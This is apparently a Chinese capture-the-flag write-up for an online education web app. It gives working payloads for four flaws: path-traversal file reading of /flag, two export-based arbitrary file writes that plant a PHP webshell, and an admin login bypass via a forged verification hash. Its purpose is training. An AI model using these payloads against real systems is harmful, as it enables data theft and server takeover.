f_qwb

by HenceZhang@Lancet

任意文件读取

漏洞文件位置：

src/AppBundle/Controller/Classroom/ClassroomManageController.php

漏洞说明：先以teacher登陆（账号密码是teacher：teacher），再去访问payload的url地址

payload：

> /web/classroom/1/manage/student/export?role=student&fileName=/var/www/html/web/app/data/private_files/../../../../../../../../../../../../a/../flag

任意文件写入

漏洞文件位置：

src/AppBundle/Controller/Course/CourseSetManageController.php

漏洞说明：

先要以普通用户登陆，然后在设置中写入php代码，最后在导出成php文件。

payload：

注册学生账号并登录；

修改设置的url地址：/web/settings/，在工作一栏填上要写入的shell

```
POST /web/settings/ HTTP/1.1
Host: en:9090
Content-Length: 333
Cache-Control: max-age=0
Origin: http://en:9090
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng
,*/*;q=0.8
Referer: http://en:9090/web/settings/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,pl;q=0.6
Cookie: sessionid=iw4h6c3547vppsm3x4vhc6i0g2f8qq58;
csrftoken=IEWWxzOa49KYHH43ptwPrM2garv5RMy2mKZvEziyLIJW8YUmOy2yXVlqr2Bq9WeO;
sails.sid=s%3Av1Guqb9URzYKPDKgpiH_3uvkHqBbtmh2.bp8Gn68rPxD9mFO6Eoo9WE%2FZnt
J7toOm2b2rgOF%2Fp%2FU;
session=.eJxNkDGLg0AUhP_KsXUK3ZyNkMJjjVi8tyibLPuawKlJfLp3oAkaQ_77SarrBoZvhp
mnOJ2HZryK-Dbcm404tbWIn-LjW8QCrHsAY6dN3REfIlK5dJwuyF3g-
DJrlU9oi4kYGUwiyeczZehRYud8uji7b7XqPZk0Ap_OqPKAslySPYTI9UrVLapuRnMJwK-
edSvvpLZ0JV_MwF8eM5CYHXudFZ-UlQy-
bEHue1r7nSnClQ1B5jvx2ohqHM6n22_X_PybAJPjJHRchcQlkz22ZJIJGCKtsNfGrTp9oKq2pNI
Il2oLye4ddx-b4X2HCMXrD8p6YL4.DlMn4g.ZRJj4bsXVvG3Bp_qn4dhnkZnIuA;
PHPSESSID=nsaml6hue11valda5n72hdkag7;
REMEMBERME=Qml6XFVzZXJcQ3VycmVudFVzZXI6ZEdWaFkyaGxja0IwWldGamFHVnlMblJsWVdO
b1pYST06MTU2NTcwOTY4MjoxY2U0ZjY0ZGRhNDlkMzQ5MTlhNWViYWNiMWZhNWEwNjgyNzUxYzJ
hNWFhOGMyOGMwYzMzNWNjZmViYjhhNThj
Connection: close

profile%5Btruename%5D=&profile%5Bidcard%5D=&profile%5Bmobile%5D=&profile%5B
company%5D=&profile%5Bjob%5D=
<?php phpinfo();>
&profile%5Btitle%5D=&profile%5Bsignature%5D=&profile%5Babout%5D=&profile%5B
site%5D=&profile%5Bweibo%5D=&profile%5Bweixin%5D=&profile%5Bqq%5D=&_csrf_to
ken=mccCyDVQB2okNnKocLqmz-uATxmjXJb5YsMX5H60caQ
```

登录老师账号，然后访问如下url地址即可：

> /web/course_set/1/manage/course/1/manage/student/export/datas?
> fileName=/var/www/html/web/shell.php

即可在web根目录下生成webshell

任意文件写入2

漏洞文件位置：

src/AppBundle/Controller/Admin/OrderController.php

漏洞说明：和上一个漏洞原理类似，但要求管理员权限

payload：

访问如下url地址写入shell

> /web/admin/order/manage/export/course?
> loop=s&start=0&fileName=/var/www/html/web/shell.php

无需密码登录管理员账号

漏洞文件位置：

src/AppBundle/Controller/RegisterController.php

漏洞说明：

原理是利用register后的一个用户认证的功能，1代表是uid=1，即为admin，只要的后面的hash能通过验证，即可认证成功。而该hash是由username与一个secret key运算生成，而每个用户的secret key一致，所以可以任意登陆。

payload：

访问如下url地址即可获取管理员权限：

> /web/register/submited/1/ae797a91d0493acb27050b05c884a4ae